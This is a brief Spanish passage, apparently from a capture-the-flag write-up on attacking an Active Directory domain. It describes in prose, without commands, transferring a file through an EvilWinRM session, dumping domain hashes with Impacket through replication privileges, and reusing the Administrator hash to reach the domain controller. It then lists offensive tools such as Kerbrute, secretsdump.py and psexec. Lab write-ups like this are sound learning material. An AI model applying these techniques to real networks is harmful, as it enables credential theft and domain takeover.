Levantamos un servidor con python para compartir el recurso desde el directorio en donde se encuentra, y lo descargamos en la sesión del EvilWinRM

Para materializar esta técnica, vamos a utilizar la herramienta de la suite Impacket. Esta utilidad permite extraer de forma remota los hashes del dominio haciendo uso de los privilegios de replicación del usuario comprometido.

Ahora que tenemos el hash del Administrator vamos a utilizar el script de impacket para conectarnos al DC y capturar las flags ¯\_( ͡° ͜ʖ ͡°)_/¯

AD-Username-Generator
Kerbrute
JohnthreRipper
service_validation.sh
EvilWinRM
winPEASx64.exe,
Primeros pasos en BloodHound
GetNPUsers
secretsdump.py
psexec